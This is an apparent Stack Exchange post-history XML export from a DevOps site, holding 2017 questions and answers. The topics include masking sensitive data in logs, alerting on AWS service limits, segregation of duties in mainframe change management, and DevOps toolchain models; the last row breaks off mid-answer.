  <row Id="1949" PostHistoryTypeId="5" PostId="554" RevisionGUID="935695a4-062f-4566-941f-b82cf93c9550" CreationDate="2017-03-21T08:13:26.373" UserId="397" Comment="Updated to clarify last point." Text="Working in highly regulated environments data is classified in different ways depending on the sensitivity. In some cases, this is legally enforced and must be treated differently.&#xD;&#xA;&#xD;&#xA;Examples of a data classification policy are:&#xD;&#xA;&#xD;&#xA; - **Highly Restricted** Data, such as Passwords, Private Keys, SAML Tokens, and Credit Card Numbers.&#xD;&#xA; - **Restricted** Data, such as Usernames and Customer IDs.&#xD;&#xA; - **Unrestricted** Data, pretty much anything else.&#xD;&#xA;&#xD;&#xA;This classification comes with certain obligations:&#xD;&#xA;&#xD;&#xA; - Any data that is **Highly Restricted** must never be made available in log file under any circumstances.&#xD;&#xA;&#xD;&#xA; - **Restricted** data could be made available in log files under specific conditions. For example, if an incident were to occur with a service then the on-call engineer would be able to enact a [Break-Glass][1] procedure to access this data to diagnose the problem. The Break-Glass procedure would, in turn, trigger a review, an audit, and possibly temporary revocation of privilege from that engineer.&#xD;&#xA;&#xD;&#xA;What strategies can be employed to achieve this, particularly given that there are a broad range of logging, monitoring and instrumentation tools available on the market that don't provide a direct answer to this problem?&#xD;&#xA;&#xD;&#xA;For example, both Splunk and AppDynamics have the ability to impose different access controls upon conditions of the telemetry being exposed; this means you can create a filter that masks out `&lt;customerId&gt;NNNNNNNNNNNN&lt;/customerId&gt;`.  However, neither of these tools give you the capability automatically identify credit card numbers and mask them automatically.&#xD;&#xA;&#xD;&#xA;**Note**: I believe this is related to DevOps because in a traditional tiered support model a relatively small group of people could have access to the data and filter it manually, by devolving responsibility for operating platforms to development teams this data is potentially exposed to a far wider audience.&#xD;&#xA;&#xD;&#xA;  [1]: http://security-architect.com/how-to-balance-assurance-and-availability-in-pam-systems/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1950" PostHistoryTypeId="2" PostId="611" RevisionGUID="64be0f13-503c-4d50-9488-6639ac85c794" CreationDate="2017-03-21T08:43:51.137" UserId="397" Text="I think the solution comes down to a broad spectrum of approaches that ensures data protection:&#xD;&#xA;&#xD;&#xA; - **Data Classification**: The most efficient technical strategy is to categorise the data at the point of creation rigorously. At its core, the developers are responsible for ensuring that all logged information is assigned a category.  Categorization can, for example, be achieved through [Splunk Metadata][1] which, in turn, can be used to direct log entries to different buckets based upon their data categorization.&#xD;&#xA;&#xD;&#xA; - **Event Partitioning**: There is often a desire to log sensitive information along side non-sensitive information. For example, if a new user was to sign up you may log:&#xD;&#xA;&#xD;&#xA;  - Customer ID (Restricted)&#xD;&#xA;  - Customer Type (Restricted)&#xD;&#xA;  - Aquisition Source (Unrestricted)&#xD;&#xA;  - Correlation ID (Unrestricted)&#xD;&#xA;&#xD;&#xA; It is possible to split this one &quot;Event&quot; into two parts, one containing the *Restricted* information and one containing th *Unrestricted* information.  This aligns with the first point by allowing filtering rules to direct to different buckets.&#xD;&#xA;&#xD;&#xA; - **Data Masking**: In specific circumstances it may not be possible to categorise the data at source, in my experience logging solutions do allow for [Masking Rules][2] to X out sensitive data.  In the linked example a `sed` command is used to apply a regular expression to all data from a specific source.  Once the restricted data has been masked out then the event can be considered to be Unrestricted.  Care must be taken with the rule to ensure that information critical to an event such as a correlation ID doesn't match the Regular Expression used to match sensitive data.&#xD;&#xA;&#xD;&#xA; - **Event Filtering**: As a last resort it may be necessary to filter all events of a particular type or source into a separate bucket if they contain sensitive data that cannot be categorised or masked.  In this case the information in a restricted bucket could only be accessed through a [Break-Glass mechanism][3] to bypass access controls under the provisions of an incident.&#xD;&#xA;&#xD;&#xA;With each of these solutions, testing is key to ensuring that nothing slips through the cracks.  Logging and Event Management must be considered to be a first class Non-functional Requirement with the same level of development rigour applied to a solution - including peer review and tests to ensure that data is properly categorised and partitioned in the tool of choice. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.splunk.com/Documentation/Splunk/6.5.2/SearchReference/Metadata&#xD;&#xA;  [2]: https://answers.splunk.com/answers/211998/masking-sensitive-data.html&#xD;&#xA;  [3]: https://security.stackexchange.com/questions/14430/in-healthcare-it-is-a-break-glass-mode-to-bypass-access-controls-commonly-req" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostHistoryTypeId="2" PostId="612" RevisionGUID="fde14087-ff56-4efb-b7f7-cb09338c296d" CreationDate="2017-03-21T10:16:58.053" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostHistoryTypeId="1" PostId="612" RevisionGUID="fde14087-ff56-4efb-b7f7-cb09338c296d" CreationDate="2017-03-21T10:16:58.053" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostHistoryTypeId="2" PostId="613" RevisionGUID="9a449a0b-9068-470b-b557-f0af84325387" CreationDate="2017-03-21T10:16:58.053" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostHistoryTypeId="1" PostId="613" RevisionGUID="9a449a0b-9068-470b-b557-f0af84325387" CreationDate="2017-03-21T10:16:58.053" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1955" PostHistoryTypeId="5" PostId="613" RevisionGUID="1e807f40-1ced-4df7-a93d-825e552963ef" CreationDate="2017-03-21T10:52:40.730" UserId="40" Comment="added 117 characters in body" Text="For questions about Amazon Machine Images (AMI), which are pre-built instances that can repeatedly be re-provisioned." ContentLicense="CC BY-SA 3.0" />
  <row Id="1956" PostHistoryTypeId="24" PostId="613" RevisionGUID="1e807f40-1ced-4df7-a93d-825e552963ef" CreationDate="2017-03-21T10:52:40.730" Comment="Proposed by 40 approved by 46, 13 edit id of 181" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostHistoryTypeId="5" PostId="389" RevisionGUID="174d00a1-c6c2-4c79-8d08-8c17b6ac9121" CreationDate="2017-03-21T10:52:50.527" UserId="40" Comment="added 79 characters in body" Text="For questions related to The Phoenix Project, which is a DevOps business novel." ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostHistoryTypeId="24" PostId="389" RevisionGUID="174d00a1-c6c2-4c79-8d08-8c17b6ac9121" CreationDate="2017-03-21T10:52:50.527" Comment="Proposed by 40 approved by 46, 13 edit id of 182" ContentLicense="CC BY-SA 3.0" />
  <row Id="1959" PostHistoryTypeId="5" PostId="603" RevisionGUID="314753b3-e164-49d2-bad2-70c85a52d9f8" CreationDate="2017-03-21T12:26:12.090" UserId="13" Comment="added 106 characters in body" Text="Answer based on my knowledge of French &quot;Internal controls&quot; regulation, kind of  equivalent to the SEC regulations you point to, I assume linking here to a French legal text would not be really useful and I know of no good translation of it.&#xD;&#xA;&#xD;&#xA;In an ideal 'You build it, you run it' model, everyone in the team will be accountable for the change. The risk assessment can't be enforced by a separation of duties and the only way I know to keep conforming with regulation is to have a periodic short cycle audit of transactions along with an unalterable action tracking to get back to the person who did the release.  &#xD;&#xA;This mean all logs of transaction and actions are pushed to a restricted area the team doesn't have access to, a change in the what is logged &quot;should&quot; be catch by functional tests the team has no access to and at worse will be catch by the audit and tracked to its author.  &#xD;&#xA;&#xD;&#xA;This is not applicable to all products, at time of writing in France any company allowed to emit money (mainly banks), has to ensure every transaction will be recorded and thus can't take the risk of missing a transaction.  &#xD;&#xA;On the other hand, they have no legal obligation to track any commercial offer or risk evaluation when someone ask for a loan, and thus the products handling this customer selection and computing the fees which will be in the offer are easier to fit in a post-release audit model.&#xD;&#xA;&#xD;&#xA;Main idea is that the release model has to be tweaked according to risk assessment obligations.&#xD;&#xA;&#xD;&#xA;A related resource is the [ISO27001][1] norm.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/ISO/IEC_27001:2005" ContentLicense="CC BY-SA 3.0" />
  <row Id="1966" PostHistoryTypeId="2" PostId="615" RevisionGUID="b056ae1c-640b-4047-9d26-866929c3b2a1" CreationDate="2017-03-21T14:31:36.027" UserId="736" Text="All I want in life is for AWS to shoot me an email when any of Trusted Advisor's Service Limits go to WARN or ERROR status. I've checked their guides, tried chatting with support and no one can get that to happen, so I'm reaching out here. &#xD;&#xA;&#xD;&#xA;#Use Case#&#xD;&#xA;&#xD;&#xA;We spin up a lot of EC2 instances and CloudFormation stacks and everything uses lots of resources. Somehow we always hit a limit we didn't know about in the middle of a validation sprint and end up blocked for an hour while AWS takes their sweet time bumping our limits. I'd like to set up some kind of event to email devops when one of the Service Limits is close to being reached. I am alright with it checking as infrequently as once a week, but would prefer once a day if that kind of granularity is possible.&#xD;&#xA;&#xD;&#xA;###Attempts###&#xD;&#xA;&#xD;&#xA;I tried setting up a CloudWatch Event, but the only option I could get was to email us when the Service Limits were *refreshed* - which is useless, because then you're already in there manually looking at it and there's no point in an email. &#xD;&#xA;&#xD;&#xA;###Options###&#xD;&#xA;&#xD;&#xA;Support told me there's no default functionality for this inside of AWS, so I'm looking for either custom event options, or I will also accept something leveraging Jenkins2 and the AWS CLI if that is a possible route." ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostHistoryTypeId="1" PostId="615" RevisionGUID="b056ae1c-640b-4047-9d26-866929c3b2a1" CreationDate="2017-03-21T14:31:36.027" UserId="736" Text="Set up AWS Trusted Advisor alert for Service Limit warnings" ContentLicense="CC BY-SA 3.0" />
  <row Id="1968" PostHistoryTypeId="3" PostId="615" RevisionGUID="b056ae1c-640b-4047-9d26-866929c3b2a1" CreationDate="2017-03-21T14:31:36.027" UserId="736" Text="&lt;amazon-web-services&gt;&lt;amazon-cloudwatch&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostHistoryTypeId="5" PostId="615" RevisionGUID="38efadf4-e359-4616-947c-43129c8818e3" CreationDate="2017-03-21T14:38:07.837" UserId="736" Comment="clarified goal" Text="All I want in life is for AWS to shoot me an email when any of Trusted Advisor's Service Limits go to WARN or ERROR status. I've checked their guides, tried chatting with support and no one can get that to happen, so I'm reaching out here. &#xD;&#xA;&#xD;&#xA;#Use Case#&#xD;&#xA;&#xD;&#xA;We spin up a lot of EC2 instances and CloudFormation stacks and everything uses lots of resources. Somehow we always hit a limit we didn't know about in the middle of a validation sprint and end up blocked for an hour while AWS takes their sweet time bumping our limits. I'd like to set up some kind of event to **email devops when one of the Service Limits is close to being reached**. I am alright with it checking as infrequently as once a week, but would prefer once a day if that kind of granularity is possible.&#xD;&#xA;&#xD;&#xA;###Attempts###&#xD;&#xA;&#xD;&#xA;I tried setting up a CloudWatch Event, but the only option I could get was to email us when the Service Limits were *refreshed* - which is useless, because then you're already in there manually looking at it and there's no point in an email. &#xD;&#xA;&#xD;&#xA;###Options###&#xD;&#xA;&#xD;&#xA;Support told me there's no default functionality for this inside of AWS, so I'm looking for either custom event options, or I will also accept something leveraging Jenkins2 and the AWS CLI if that is a possible route. If Jenkins is the way to go it doesn't need to send an email - I'd probably have it slack our devops channel, if that changes the answer any." ContentLicense="CC BY-SA 3.0" />
  <row Id="1971" PostHistoryTypeId="2" PostId="616" RevisionGUID="ce1d8dd2-6581-487d-8cf4-cf9478eb12a0" CreationDate="2017-03-21T15:17:53.267" UserId="13" Text="That's on my backlog but still on early stage, I just surfaced the idea, so here's are my findings so far:&#xD;&#xA;&#xD;&#xA;[Using Trusted Advisor as a Web Service](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html)&#xD;&#xA;&#xD;&#xA;Mainly: &#xD;&#xA;[Poll a Trusted Advisor Check for Status Changes](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html#getcheckstatus)&#xD;&#xA;&#xD;&#xA;This documentation example can be implemented with aws cli with the [`support`](https://docs.aws.amazon.com/cli/latest/reference/support/index.html#cli-aws-support) subset of commands and targetting the 'us-east-1' region, you'll then have to filter on the `region` field in the `TrustedAdvisorResourceDetail` structure part of the list.&#xD;&#xA;&#xD;&#xA;I still didn't had time to write a script to poll the API (I would aim at ruby with the AWS SDK per our usage more than a shell script to group the requests).&#xD;&#xA;&#xD;&#xA;Hope this help getting started even if that's not really a complete answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostHistoryTypeId="5" PostId="608" RevisionGUID="b81c4f60-fe62-458d-b155-facf1b879c87" CreationDate="2017-03-21T16:58:25.837" UserId="40" Comment="added 4237 characters in body" Text="Your question doesn't seem to make any assumption about the platform/OS it is about. Which is why it may make sense to add an answer about how this is typically done/addressed in a mainframe environment, where the &quot;engineers&quot; (as in your question title) are actually groups of people were dozens (possibly hundreds) of people are involved. My answer is based on using the SCM product where I'm most familiar with (not sure if it's needed to disclose the product name).&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;### 1. Architecture&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;Here are the highlights of how I'd answer your question:&#xD;&#xA;&#xD;&#xA;- All code (and related artifacts like executables, etc) is stored in files which, all together is what we call the ***library structure***.&#xD;&#xA;- For each environment on each (possibly remote) target system, there is a server (a &quot;started task&quot; in mainframe speak), which takes care of ALL (repeat: ALL) updates to anything in the library structure. There are a few exceptions (like security people, or space management team), but apart from that, nobody (repeat: nobody) has authorization to apply updates to any file within that library structure. In other words: ***the server gets exclusive update authority to the entire library structure***. Attention: OPS-people will go bonkers if you walk in to limit their access (at first they are going to resist ...), so make sure you're covered by upper management (CxO) to impose those access rules ...&#xD;&#xA;- The actual software changes my consist of a single component (a tiny code fix in the middle of the night ...), or it may also be hundreds or thousands of sources, executables, or whatever other artifacts (during a release weekend). To make them manageable, things that should be moved (more or less) together, at the same time, are bundled together in what's called a ***software change package***.&#xD;&#xA;&#xD;&#xA;With the above in place, any kind of update to be applied by the server to the library structure, will only be possible via a well defined workflow, which we call the ***lifecycle of a software change package*** (SDLC if you prefer). To actually execute the various steps in that workflow, this is what it takes to make it happen:&#xD;&#xA;&#xD;&#xA;- Only the server will execute the required (and preconfigured) steps.&#xD;&#xA;- The server will only do a specific step (= update something somewhere in the library structure), after the required approvals (from human beings) have been gathered to perform such step.&#xD;&#xA;- The approvals can only be given by users who have a **role** that allows them (= permission) to issue such approvals.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;### 2. Roles and permissions&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;The server will ensure that the user trying to make something happen (like 'approve something') will only be able to do so, if the user's permissions are appropriate. That part is easy. But you don't want to use the SCM system to administer all those permissions for all the users involved, that's what belongs in your security system (not the SCM system!), so that you can adapt your workflow (in your SCM system) to go check those permissions whenever appropriate. The steps below provide some more details on that.&#xD;&#xA;&#xD;&#xA;**Step 1: Configure the permissions (in the security system)**&#xD;&#xA;&#xD;&#xA;- Define **security entities** in your security system, with well defined names for those entities. A few samples (add as many similar ones to fit your own needs):&#xD;&#xA;&#xD;&#xA;  - `PrmUnit`, used for getting permission to request a *Promote* to say *Unit*-testing.&#xD;&#xA;  - `PrmQA`, used for getting permission to request a *Promote* to say *Qa*-testing (let's assume this is the highest level of testing).&#xD;&#xA;  - `PrdEnduser`, used by end-users involved in some level of testing, to indicate that they are satisfied by the results produced by some kind of testing. And because of that, those end-users agree with the change moving forward in the library structure.&#xD;&#xA;  - `PrdRelmgnt`, used by release managers to authorize an *Activation* in production (= the last/highest level in the library structure).&#xD;&#xA;- Define **groups of users** in your security system. A few samples (add as many similar ones to fit your own needs):&#xD;&#xA;  - `GrpDevs`, which (say) corresponds to your developers (probably more then just 1).&#xD;&#xA;  - `GrpEnduser`, which (say) corresponds to your end-users (at least 1, preferably with more similar users).&#xD;&#xA;  - `GrpRelMgnt`, which (say) corresponds to your release managers (at least 1, preferably a few more users).&#xD;&#xA;&#xD;&#xA;- **Grant permissions**, also using your security system, to allow access to selected &quot;*security entities*&quot; for selected &quot;*groups of users*&quot;. To continue the example above, here is what seems appropriate (adapt to fit your own needs):&#xD;&#xA;  - Group `GrpDevs` gets access to (only!) security entity `PrmUnit`.&#xD;&#xA;  - Group `GrpEnduser` gets access to (only!) security entity `PrdEnduser`.&#xD;&#xA;  - Group `GrpRelMgnt` gets access to (both!) security entity  `PrmQA` and `PrdRelmgnt`.&#xD;&#xA;&#xD;&#xA;**Step 2: Configure the workflow (in the SCM system)**&#xD;&#xA;&#xD;&#xA;After the permissions are configured in your security system (as in Step 1), all that's left to do in your SCM system is to configure how the various steps in the lifecyle match with the related security entities in your security system. That is, only those users who have the appropriate access to the required security entity, are allowed to request the server to perform the corresponding step in the workflow.&#xD;&#xA;&#xD;&#xA;Here are some examples of how you'd configure your SCM system to make some magic happen:&#xD;&#xA;&#xD;&#xA;  - If a user has access to `PrmUnit`, then such user is allowed to request a *Promote* to *Unit*-testing. Obviously, the users in group `GrpDevs` are the users authorized for this (note: not, e.g, the users in group `GrpRelMgnt`).&#xD;&#xA;  - If a user has access to `PrmQA`, then such user is allowed to request a *Promote* to *QA*-testing. Obviously, the users in group `GrpRelMgnt` are the users authorized for this (note: not, e.g, the users in group `GrpDevs`, or in group `GrpEnduser`).&#xD;&#xA;  - If a user has access to `PrdEnduser`, then such user is allowed to authorize the change moving forward in the library structure (which is typically a prereq for users in group `GrpRelMgnt` to even be able to review a change). Obviously, the users in group `GrpEnduser` are the (only) users authorized for this.&#xD;&#xA;  - If a user has access to `PrdRelmgnt`, then such user is allowed to authorize an *Activation* in production (= the last/highest level in the library structure).&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;### 3. Expect the unexpected, and be ready for it&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;&#xD;&#xA;The above is just a blueprint, which hopefully helps to understand how in the end it is the server that takes care of the segregation of duties ... provided you have the CxO cover you to impose some access rules that not everybody will like.&#xD;&#xA;&#xD;&#xA;To complete the picture as explained above, the server creates an audit trail (logging) of anything that's happening in the system. So that at any point in time, it is always possible to answer questions like&#xD;&#xA;&#xD;&#xA;&gt; ***What happened when and why, and which authorized user actually approved it ... upfront?***&#xD;&#xA;&#xD;&#xA;But, probably the toughest part is to have adequate reporting tools available (and know how to use them). At least to (easily) satisfy requests from IT auditors (their questions can be very challenging). But also to point to relevant log records in your SCM system to answer all sorts of &quot;What happened&quot;-questions in crisis situations where (part of) production is down.&#xD;&#xA;&#xD;&#xA;&lt;hr /&gt;&#xD;&#xA;PS: I leave it to everybody's own judgement if my answer is yes or no DevOps-compliant." ContentLicense="CC BY-SA 3.0" />
  <row Id="1973" PostHistoryTypeId="2" PostId="617" RevisionGUID="a131d44d-f93b-4426-b0d6-2a7f2ee77c98" CreationDate="2017-03-21T18:06:52.737" UserId="749" Text="IMHO, Developers &amp; Operations could be represented by nothing more than just two git repositories **for the same codebase**, with distinct permissions model each, so that teams will not interfer in the work of each other, at all.&#xD;&#xA;&#xD;&#xA;Let's call them **Dev.mygithub.co** &amp; **ops.mygithub.co**, just as an example.&#xD;&#xA;&#xD;&#xA;The idea is, that Developers are free to create/branch/merge to their heart's content -git is providing full traceability and that is what matters here- meanwhile, at the moments that regulatory framework implies review effort a **Pull Request** can be raised, for the merging to happen in a controlled manner.&#xD;&#xA;&#xD;&#xA;Taking that concept to its next level, a **develop** branch can be propagated towards the remote Ops' **production** via yet another **Pull Request** act. &#xD;&#xA;That last part has to happen by operations' hands and eyes, since they have a responsibility to vet it into production and they choose the level of review.&#xD;&#xA;&#xD;&#xA;Such scheme allows *infinite flexibility, full traceability, ability to catch issues early on via a variety of processes, separation of concerns and a very reasonable user experience in the process*!&#xD;&#xA;&#xD;&#xA;N.B. The model described above may be followed even if Ops &amp; Dev overlap totally!" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostHistoryTypeId="5" PostId="531" RevisionGUID="731df1e8-0614-4b24-b8d3-7c0b238a80b7" CreationDate="2017-03-21T18:22:39.383" UserId="707" Comment="deleted 149 characters in body; edited title" Text="It seems that many people somehow try to define the software development process using a DevOps tools model but there is no alignment; still I assume that this is more a question of maturity/alignment, not of matter of taste. &#xD;&#xA;&#xD;&#xA;**Question**: What are further known DevOps operation models?&#xD;&#xA;&#xD;&#xA;Some examples I've seen at available popular sources:&#xD;&#xA;&#xD;&#xA; - Plan, Develop, Test, Release, Operate&#xD;&#xA;   &#xD;&#xA; - Plan, Code, Build, Test, Release, Deploy, Operate, Monitor&#xD;&#xA;   &#xD;&#xA; - Requirements, Development, Build, Testing, Deployment, Execution&#xD;&#xA;&#xD;&#xA;Here is a quote from the Wikipedia page for the [DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain):&#xD;&#xA;&#xD;&#xA;&gt; A **DevOps toolchain** is a set or combination of tools that aid in the delivery, development, and management of applications throughout the [software development lifecycle][1], as coordinated by an organisation that uses [DevOps][2] practices.&#xD;&#xA;&#xD;&#xA;&gt; Generally, DevOps tools fit into one or more activities, which supports specific DevOps initiatives: Plan, Create, Verify, Preprod, Release, Configure, and Monitor.&#xD;&#xA;&#xD;&#xA;&gt; Another proposed toolchain model was referenced in 2014 as coming from &quot;an unknown source&quot; as Plan, Code, Build, Test, Release, Deploy, Operate and Monitor.&#xD;&#xA;&#xD;&#xA;However, that same Wikipedia page also contains an image which looks like so:&#xD;&#xA;&#xD;&#xA;[![Devops Toolchain stages on Wikipedia][3]][3]&#xD;&#xA;&#xD;&#xA;This image, IMO, does not correlate with the text on that page.&#xD;&#xA;&#xD;&#xA;*DevOps Toolchain stages on Wikipedia, [By Kharnagy - Own work, CC BY-SA 4.0Wikipedia](https://commons.wikimedia.org/w/index.php?curid=51215412)*&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;https://devops.com/devops-2017-cdos-care/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Software_development_lifecycle&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://i.stack.imgur.com/7NmOQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="1975" PostHistoryTypeId="4" PostId="531" RevisionGUID="731df1e8-0614-4b24-b8d3-7c0b238a80b7" CreationDate="2017-03-21T18:22:39.383" UserId="707" Comment="deleted 149 characters in body; edited title" Text="What are further known DevOps operation models?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostHistoryTypeId="5" PostId="607" RevisionGUID="1a4ca2ca-11f0-4c7a-a7f5-0e1a4fba5979" CreationDate="2017-03-21T18:29:54.817" UserId="40" Comment="added 4 characters in body" Text="I'm not really familiar with the topics you mentioned. However I went ahead to go checkout [kuleuven.be][1], i.e its Computer Science departement (with sufficient credibility, trust me).&#xD;&#xA;&#xD;&#xA;Here are some interesting articles in which DevOps is mentioned:&#xD;&#xA;&#xD;&#xA;- [Automated workflow regression testing for multi-tenant SaaS: Integrated support in self-service configuration dashboard][2].&#xD;&#xA;&#xD;&#xA;  Here is part of the abstract of it:&#xD;&#xA;&#xD;&#xA;  &gt; ... This effectively makes these tenant administrators part of the **DevOps** team, and in turn creates the need for the SaaS provider to provide them with Quality Assurance tool support. One such tool is a regression testing framework that allows them to make sure that a new version of a workflow can behave similarly as to a successful execution of a previous version. ...&#xD;&#xA;&#xD;&#xA;- [Variability middleware for multi-tenant SaaS applications][3].&#xD;&#xA;&#xD;&#xA;  Here is part of the abstract of it:&#xD;&#xA;&#xD;&#xA;  &gt; ... The focus has been mainly on (1) the pre-deployment phases of the development life cycle and (2) fine-grained (tenant-level), run-time activation of specific variants. However, with upcoming trends such as **DevOps** and continuous delivery and deployment, operational aspects become increasingly important. ...&#xD;&#xA;&#xD;&#xA;Both articles have links with contact info to their authors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kuleuven.be/english&#xD;&#xA;  [2]: https://lirias.kuleuven.be/handle/123456789/548791&#xD;&#xA;  [3]: https://lirias.kuleuven.be/handle/123456789/500608" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostHistoryTypeId="2" PostId="618" RevisionGUID="da997b96-cf81-41c4-baa7-8e478493e57a" CreationDate="2017-03-21T18:51:29.120" UserId="47" Text="I don't think the image you mentioned is really in contradiction with the corresponding text. From the [Preprod][1] section further down on the same page (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; **Preprod**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Preproduction or &quot;preprod&quot; refers the activities involved once the&#xD;&#xA;&gt; release is ready for deployment, often also referred to as staging or&#xD;&#xA;&gt; **packaging**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain#Preprod" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostHistoryTypeId="5" PostId="616" RevisionGUID="bcf14982-72df-434e-9175-e88d25d78dc4" CreationDate="2017-03-21T19:37:58.930" UserId="57" Comment="short add of link to AWS Amazon site for the service" Text="That's on my backlog but still on early stage, I just surfaced the idea, so here's are my findings so far:&#xD;&#xA;&#xD;&#xA;[Using Trusted Advisor as a Web Service](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html)&#xD;&#xA;&#xD;&#xA;Mainly: &#xD;&#xA;[Poll a Trusted Advisor Check for Status Changes](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html#getcheckstatus)&#xD;&#xA;&#xD;&#xA;This documentation example can be implemented with aws cli with the [`support`](https://docs.aws.amazon.com/cli/latest/reference/support/index.html#cli-aws-support) subset of commands and targetting the 'us-east-1' region, you'll then have to filter on the `region` field in the `TrustedAdvisorResourceDetail` structure part of the list.&#xD;&#xA;&#xD;&#xA;I still didn't had time to write a script to poll the API (I would aim at ruby with the AWS SDK per our usage more than a shell script to group the requests).&#xD;&#xA;&#xD;&#xA;Hope this help getting started even if that's not really a complete answer.&#xD;&#xA;&#xD;&#xA;P.S. For recap of which options is available for which account can be checked [this][1] site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/trustedadvisor/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1979" PostHistoryTypeId="24" PostId="616" RevisionGUID="bcf14982-72df-434e-9175-e88d25d78dc4" CreationDate="2017-03-21T19:37:58.930" Comment="Proposed by 57 approved by 40, 13 edit id of 183" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostHistoryTypeId="2" PostId="619" RevisionGUID="48b9f953-e894-44bc-8690-424b31f63b8d" CreationDate="2017-03-21T19:59:45.617" UserId="43" Text="The [SCM Sync Configuration Plugin](https://wiki.jenkins-ci.org/display/JENKINS/SCM+Sync+configuration+plugin) does exactly what you wish. Works with either svn or git to backup your jenkins core and job configuration, so gives you easy tracking as to who made changes, as well as a backup." ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostHistoryTypeId="5" PostId="616" RevisionGUID="9f2076c4-a1c6-4b6c-af92-25e2ebbaa21d" CreationDate="2017-03-21T20:23:18.530" UserId="13" Comment="added 26 characters in body" Text="That's on my backlog but still on early stage, I just surfaced the idea, so here's are my findings so far:&#xD;&#xA;&#xD;&#xA;[Using Trusted Advisor as a Web Service](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html)&#xD;&#xA;&#xD;&#xA;Mainly: &#xD;&#xA;[Poll a Trusted Advisor Check for Status Changes](http://docs.aws.amazon.com/awssupport/latest/user/trustedadvisor.html#getcheckstatus)&#xD;&#xA;&#xD;&#xA;This documentation example can be implemented with aws cli with the [`support`](https://docs.aws.amazon.com/cli/latest/reference/support/index.html#cli-aws-support) subset of commands and targetting the 'us-east-1' region, you'll then have to filter on the `region` field in the `TrustedAdvisorResourceDetail` structure part of the list.&#xD;&#xA;&#xD;&#xA;I still didn't had time to write a script to poll the API (I would aim at ruby with the AWS SDK per our usage more than a shell script to group the requests).&#xD;&#xA;&#xD;&#xA;Hope this help getting started even if that's not really a complete answer.&#xD;&#xA;&#xD;&#xA;Courtesy of Romeo Ninov: Fora  recap of which options is available for which account type you can check [this][1] site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/premiumsupport/trustedadvisor/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostHistoryTypeId="2" PostId="620" RevisionGUID="a634513f-e06c-406b-9535-00ac81d92b00" CreationDate="2017-03-21T20:58:01.947" UserId="40" Text="Your question doesn't seem to make any assumption about the platform/OS it is about. Which is why it may make sense to add an answer about how part of such toolchain looks like in a mainframe environment. My answer is based on using the SCM product where I'm most familiar with (not sure if it's needed to disclose the product name).&#xD;&#xA;&#xD;&#xA;Your example about &quot;*Plan, Code, Build, Test, Release, Deploy, Operate, Monitor*&quot; seems to be missing these crucial phases:&#xD;&#xA;&#xD;&#xA;1. Enforce predictable problems in production to be addressed before they actually have an impact in production (sounds like sales talk, no?). You might think this is just &quot;impact analysis&quot;, but that is not it:&#xD;&#xA;&#xD;&#xA;  - **Impact analysis** is what you do in the plan-phase (we all know that, right?).&#xD;&#xA;  - **Audit** (= name of the phase we use for it), is around the time that the developer thinks/claims to be ready. Something like &quot;unless there is anything else that may have happened in production while I was working on my change, I'm done and recommend to move forward&quot;. Think of things like &quot;version regression issues&quot;. Eg because last night a fix was applied to production and you didn't retrofit that fix, so if you move forward with your change, you'll wipe out the fix again ... bad luck if you do!&#xD;&#xA;&#xD;&#xA;2. Give me a red button, so that if anything else fails (and production is impacted), I just have to push a magic button, be patient (for a few secs) and be 100% sure a rollback completed with 0 rebuilds of any kind (= **Backout** is the name of the phase we use for it).&#xD;&#xA;&#xD;&#xA;  This boils down to &quot;component level backups&quot; of any files/components you will be updating by your change in production, whereas these backups are made at the very moment the change is going to be applied. and this for any type of artifacts included in the change.&#xD;&#xA;&#xD;&#xA;  If later on (5 mins, 2 days or 1 week later) something goes wrong in production, and it turns out to be caused by your change, all you have to do is to have an automated 